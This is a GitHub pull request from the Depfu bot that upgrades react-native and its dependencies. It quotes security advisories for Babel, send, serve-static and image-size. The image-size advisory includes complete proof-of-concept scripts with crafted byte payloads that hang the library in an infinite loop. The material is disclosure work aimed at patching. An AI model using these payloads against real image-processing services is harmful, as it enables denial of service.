Skip to content

🚨 [security] Update react-native 0.73.7 → 0.79.2 (major) #249

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom
Closed
depfu wants to merge 1 commit into from
Closed

🚨 [security] Update react-native 0.73.7 → 0.79.2 (major) #249

depfu wants to merge 1 commit into from

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented May 6, 2025

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ react-native (0.73.7 → 0.79.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ debug (4.3.7 → 4.4.0) · Repo · Changelog

Release Notes

4.4.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/code-frame (indirect, 7.26.2 → 7.27.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/generator (indirect, 7.26.5 → 7.27.1) · Repo · Changelog

Release Notes

7.27.1

More info than we can show here.

7.27.0

More info than we can show here.

7.26.10

More info than we can show here.

7.26.9

More info than we can show here.

7.26.8

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helper-plugin-utils (indirect, 7.26.5 → 7.27.1) · Repo · Changelog

Release Notes

7.27.1

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helper-string-parser (indirect, 7.25.9 → 7.27.1) · Repo · Changelog

Release Notes

7.27.1

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/helper-validator-identifier (indirect, 7.25.9 → 7.27.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/parser (indirect, 7.26.5 → 7.27.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/runtime (indirect, 7.24.1 → 7.27.1) · Repo · Changelog

Security Advisories 🚨

🚨 Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups

Impact

When using Babel to compile regular expression named capturing groups, Babel will generate a polyfill for the .replace method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to .replace).

Your generated code is vulnerable if all the following conditions are true:

  • You use Babel to compile regular expression named capturing groups
  • You use the .replace method on a regular expression that contains named capturing groups
  • Your code uses untrusted strings as the second argument of .replace

If you are using @babel/preset-env with the targets option, the transform that injects the vulnerable code is automatically enabled if:

  • you use duplicated named capturing groups, and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23
  • you use any named capturing groups, and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10

You can verify what transforms @babel/preset-env is using by enabling the debug option.

Patches

This problem has been fixed in @babel/helpers and @babel/runtime 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on @babel/helpers, and instead you depend on @babel/core (which itself depends on @babel/helpers). Upgrading to @babel/core 7.26.10 is not required, but it guarantees that you are on a new enough @babel/helpers version.

Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.

Workarounds

If you are passing user-provided strings as the second argument of .replace on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring $< if it's then not followed by > (possibly with other characters in between).

References

This vulnerability was reported and fixed in #17173.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/template (indirect, 7.25.9 → 7.27.1) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​babel/types (indirect, 7.26.5 → 7.27.1) · Repo · Changelog

Release Notes

7.27.1

More info than we can show here.

7.27.0

More info than we can show here.

7.26.10

More info than we can show here.

7.26.9

More info than we can show here.

7.26.8

More info than we can show here.

7.26.7

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​react-native/debugger-frontend (indirect, 0.73.3 → 0.79.2) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​react-native/gradle-plugin (indirect, 0.73.4 → 0.79.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ image-size (indirect, 1.1.1 → 1.2.1) · Repo

Security Advisories 🚨

🚨 image-size Denial of Service via Infinite Loop during Image Processing

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

const finder = (key: imageType) => typeHandlers[key].validate(input) //<--

return keys.find(finder)

}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

<span class="pl-k">const</span> <span class="pl-s1">ftypBox</span> <span class="pl-c1">=</span> <span class="pl-en">findBox</span><span class="pl-kos">(</span><span class="pl-s1">input</span><span class="pl-kos">,</span> <span class="pl-s">'ftyp'</span><span class="pl-kos">,</span> <span class="pl-c1">0</span><span class="pl-kos">)</span> <span class="pl-c">//&lt;---</span>
<span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">ftypBox</span><span class="pl-kos">)</span> <span class="pl-k">return</span> <span class="pl-c1">false</span>

<span class="pl-k">const</span> <span class="pl-s1">brand</span> <span class="pl-c1">=</span> <span class="pl-en">toUTF8String</span><span class="pl-kos">(</span><span class="pl-s1">input</span><span class="pl-kos">,</span> <span class="pl-s1">ftypBox</span><span class="pl-kos">.</span><span class="pl-c1">offset</span> <span class="pl-c1">+</span> <span class="pl-c1">8</span><span class="pl-kos">,</span> <span class="pl-s1">ftypBox</span><span class="pl-kos">.</span><span class="pl-c1">offset</span> <span class="pl-c1">+</span> <span class="pl-c1">12</span><span class="pl-kos">)</span>
<span class="pl-k">return</span> <span class="pl-s1">brand</span> <span class="pl-c1">===</span> <span class="pl-s">'jxl '</span>



},

findBox can lead to an infine loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75

function readBox(input: Uint8Array, offset: number) {   // offset: 0

if (input.length - offset < 4) return

const boxSize = readUInt32BE(input, offset)           // 0

if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false

return {

name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '

offset,                                             // 0

size: boxSize,                                      // 0

}

}


// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84

export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0

while (offset < input.length) {         // 0 < 8 => false

const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }

if (!box) break                       // false

if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false

offset += box.size                    // offset += 0

}

}

A similar issue occurs for HEIF and JP2 handlers:

PoC

Usage:

node main.js poc1|poc2
// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');


// JXL

const PAYLOAD = new Uint8Array([

0x00, 0x00, 0x00, 0x00, // Box with size 0

0x4A, 0x58, 0x4C, 0x20, // "JXL "

]);


// HEIF

// const PAYLOAD = new Uint8Array([

//   0x00, 0x00, 0x00, 0x00, // Box with size 0

//   0x66, 0x74, 0x79, 0x70, // "ftyp"

//   0x61, 0x76, 0x69, 0x66  // "avif"

// ]);


// JP2

// const PAYLOAD = new Uint8Array([

//   0x00, 0x00, 0x00, 0x00, // Box with size 0

//   0x6A, 0x50, 0x20, 0x20, // "jP  "

// ]);


const FILENAME = "./poc.svg"


function createPayload() {

fs.writeFileSync(FILENAME, PAYLOAD);

}


function poc1() {

(async () => {

await imageSizeFromFile(FILENAME)

console.log('Done') // never executed

})();

}


function poc2() {

imageSize(PAYLOAD)

console.log('Done') // never executed

}


const pocs = new Map();

pocs.set('poc1', poc1); // node main.js poc1

pocs.set('poc2', poc2); // node main.js poc2


async function run() {

createPayload()

const args = process.argv.slice(2);

const t = args[0];

const poc = pocs.get(t) || poc1;

console.log(Running poc....)

await poc();

}


run();

// mkdir 1.2.0
// cd 1.2.0/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// JXL

const PAYLOAD = new Uint8Array([

0x00, 0x00, 0x00, 0x00, // Box with size 0

0x4A, 0x58, 0x4C, 0x20, // "JXL "

]);


// HEIF

// const PAYLOAD = new Uint8Array([

//   0x00, 0x00, 0x00, 0x00, // Box with size 0

//   0x66, 0x74, 0x79, 0x70, // "ftyp"

//   0x61, 0x76, 0x69, 0x66  // "avif"

// ]);


// JP2

// const PAYLOAD = new Uint8Array([

//   0x00, 0x00, 0x00, 0x00, // Box with size 0

//   0x6A, 0x50, 0x20, 0x20, // "jP  "

// ]);


const FILENAME = "./poc.svg"


function createPayload() {

fs.writeFileSync(FILENAME, PAYLOAD);

}


function poc1() {

sizeOf(FILENAME)

console.log('Done') // never executed

}


function poc2() {

sizeOf(PAYLOAD)

console.log('Done') // never executed

}


const pocs = new Map();

pocs.set('poc1', poc1); // node main.js poc1

pocs.set('poc2', poc2); // node main.js poc2


async function run() {

createPayload()

const args = process.argv.slice(2);

const t = args[0];

const poc = pocs.get(t) || poc1;

console.log(Running poc....)

await poc();

}


run();

// mkdir 1.1.1
// cd 1.1.1/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// HEIF

const PAYLOAD = new Uint8Array([

0x00, 0x00, 0x00, 0x00, // Box with size 0

0x66, 0x74, 0x79, 0x70, // "ftyp"

0x61, 0x76, 0x69, 0x66  // "avif"

]);


const FILENAME = "./poc.svg"


function createPayload() {

fs.writeFileSync(FILENAME, PAYLOAD);

}


function poc1() {

sizeOf(FILENAME)

console.log('Done') // never executed

}


function poc2() {

sizeOf(PAYLOAD)

console.log('Done') // never executed

}


const pocs = new Map();

pocs.set('poc1', poc1); // node main.js poc1

pocs.set('poc2', poc2); // node main.js poc2


async function run() {

createPayload()

const args = process.argv.slice(2);

const t = args[0];

const poc = pocs.get(t) || poc1;

console.log(Running poc....)

await poc();

}


run();

Impact

Denial of Service

Release Notes

1.2.1

More info than we can show here.

1.2.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ metro (indirect, 0.80.7 → 0.82.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ metro-config (indirect, 0.80.7 → 0.82.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ metro-core (indirect, 0.80.7 → 0.82.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ metro-minify-terser (indirect, 0.80.7 → 0.82.2) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ metro-resolver (indirect, 0.80.7 → 0.82.2) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ react-devtools-core (indirect, 4.28.5 → 6.1.1) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ scheduler (indirect, 0.24.0-canary-efb381bbf-20230505 → 0.25.0) · Repo · Changelog

↗️ send (indirect, 0.18.0 → 0.19.0) · Repo · Changelog

Security Advisories 🚨

🚨 send vulnerable to template injection that can lead to XSS

Impact

passing untrusted user input - even after sanitizing it - to SendStream.redirect() may execute untrusted code

Patches

this issue is patched in send 0.19.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

  1. The attacker MUST control the input to response.redirect()
  2. express MUST NOT redirect before the template appears
  3. the browser MUST NOT complete redirection before:
  4. the user MUST click on the link in the template
Release Notes

0.19.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ serve-static (indirect, 1.15.0 → 1.16.2) · Repo · Changelog

Security Advisories 🚨

🚨 serve-static vulnerable to template injection that can lead to XSS

Impact

passing untrusted user input - even after sanitizing it - to redirect() may execute untrusted code

Patches

this issue is patched in serve-static 1.16.0

Workarounds

users are encouraged to upgrade to the patched version of express, but otherwise can workaround this issue by making sure any untrusted inputs are safe, ideally by validating them against an explicit allowlist

Details

successful exploitation of this vector requires the following:

  1. The attacker MUST control the input to response.redirect()
  2. express MUST NOT redirect before the template appears
  3. the browser MUST NOT complete redirection before:
  4. the user MUST click on the link in the template
Release Notes

1.16.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ shell-quote (indirect, 1.8.1 → 1.8.2) · Repo · Changelog

🆕 @​babel/plugin-syntax-bigint (added, 7.8.3)

🆕 @​babel/traverse--for-generate-function-map (added, 7.27.1)

🆕 @​istanbuljs/load-nyc-config (added, 1.1.0)

🆕 @​istanbuljs/schema (added, 0.1.3)

🆕 @​jest/transform (added, 29.7.0)

🆕 @​types/babel__core (added, 7.20.5)

🆕 @​types/babel__generator (added, 7.27.0)

🆕 @​types/babel__template (added, 7.4.4)

🆕 @​types/babel__traverse (added, 7.20.7)

🆕 @​types/graceful-fs (added, 4.1.9)

🆕 agent-base (added, 7.1.3)

🆕 babel-jest (added, 29.7.0)

🆕 babel-plugin-istanbul (added, 6.1.1)

🆕 babel-plugin-jest-hoist (added, 29.6.3)

🆕 babel-preset-current-node-syntax (added, 1.1.0)

🆕 babel-preset-jest (added, 29.6.3)

🆕 exponential-backoff (added, 3.1.2)

🆕 get-package-type (added, 0.1.0)

🆕 https-proxy-agent (added, 7.0.6)

🆕 istanbul-lib-coverage (added, 3.2.2)

🆕 istanbul-lib-instrument (added, 5.2.1)

🆕 jest-haste-map (added, 29.7.0)

🆕 jest-regex-util (added, 29.6.3)

🆕 test-exclude (added, 6.0.0)

🆕 ws (added, 7.5.10)

🆕 hermes-estree (added, 0.28.1)

🆕 hermes-parser (added, 0.28.1)

🆕 write-file-atomic (added, 4.0.2)

🗑️ @​babel/plugin-proposal-async-generator-functions (removed)

🗑️ @​babel/plugin-proposal-numeric-separator (removed)

🗑️ @​babel/plugin-proposal-object-rest-spread (removed)

🗑️ @​babel/plugin-proposal-optional-catch-binding (removed)

🗑️ @​hapi/hoek (removed)

🗑️ @​hapi/topo (removed)

🗑️ @​react-native-community/cli (removed)

🗑️ @​react-native-community/cli-clean (removed)

🗑️ @​react-native-community/cli-config (removed)

🗑️ @​react-native-community/cli-debugger-ui (removed)

🗑️ @​react-native-community/cli-doctor (removed)

🗑️ @​react-native-community/cli-hermes (removed)

🗑️ @​react-native-community/cli-platform-android (removed)

🗑️ @​react-native-community/cli-platform-ios (removed)

🗑️ @​react-native-community/cli-plugin-metro (removed)

🗑️ @​react-native-community/cli-server-api (removed)

🗑️ @​react-native-community/cli-tools (removed)

🗑️ @​react-native-community/cli-types (removed)

🗑️ @​react-native/metro-babel-transformer (removed)

🗑️ @​sideway/address (removed)

🗑️ @​sideway/formula (removed)

🗑️ @​sideway/pinpoint (removed)

🗑️ ansi-fragments (removed)

🗑️ appdirsjs (removed)

🗑️ astral-regex (removed)

🗑️ core-util-is (removed)

🗑️ dayjs (removed)

🗑️ denodeify (removed)

🗑️ deprecated-react-native-prop-types (removed)

🗑️ errorhandler (removed)

🗑️ fast-xml-parser (removed)

🗑️ hermes-profile-transformer (removed)

🗑️ human-signals (removed)

🗑️ joi (removed)

🗑️ jsc-android (removed)

🗑️ logkitty (removed)

🗑️ nocache (removed)

🗑️ node-abort-controller (removed)

🗑️ node-stream-zip (removed)

🗑️ process-nextick-args (removed)

🗑️ react-shallow-renderer (removed)

🗑️ readline (removed)

🗑️ require-main-filename (removed)

🗑️ set-blocking (removed)

🗑️ slice-ansi (removed)

🗑️ strip-final-newline (removed)

🗑️ strnum (removed)

🗑️ through2 (removed)

🗑️ which-module (removed)

🗑️ xtend (removed)

🗑️ cliui (removed)

🗑️ yargs (removed)

🗑️ yargs-parser (removed)

🗑️ ws (removed)

🗑️ ws (removed)

🗑️ chromium-edge-launcher (removed)

🗑️ mime (removed)

🗑️ open (removed)

🗑️ ora (removed)

🗑️ sudo-prompt (removed)

🗑️ wrap-ansi (removed)

🗑️ @​jest/types (removed)

🗑️ execa (removed)

🗑️ get-stream (removed)

🗑️ yaml (removed)

🗑️ @​types/yargs (removed)

🗑️ pretty-format (removed)

🗑️ react-is (removed)

🗑️ is-wsl (removed)

🗑️ commander (removed)

🗑️ @​react-native/babel-plugin-codegen (removed)

🗑️ @​react-native/babel-preset (removed)

🗑️ hermes-estree (removed)

🗑️ hermes-estree (removed)

🗑️ hermes-parser (removed)

🗑️ hermes-parser (removed)

🗑️ flow-parser (removed)

🗑️ colorette (removed)

🗑️ decamelize (removed)

🗑️ source-map (removed)

🗑️ is-fullwidth-code-point (removed)

🗑️ isarray (removed)

🗑️ y18n (removed)

🗑️ regenerator-runtime (removed)

🗑️ readable-stream (removed)

🗑️ string_decoder (removed)

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label May 6, 2025
@depfu depfu bot requested a review from kraenhansen May 6, 2025 04:56
@depfu depfu bot mentioned this pull request May 6, 2025
Closed
@depfu
Copy link
Contributor Author

depfu bot commented Jun 5, 2025

Closed in favor of #254.

@depfu depfu bot closed this Jun 5, 2025
@depfu depfu bot deleted the depfu/update/npm/react-native-0.79.2 branch June 5, 2025 18:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@kraenhansen kraenhansen Awaiting requested review from kraenhansen

Assignees

@kraenhansen kraenhansen

Labels

depfu

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@kraenhansen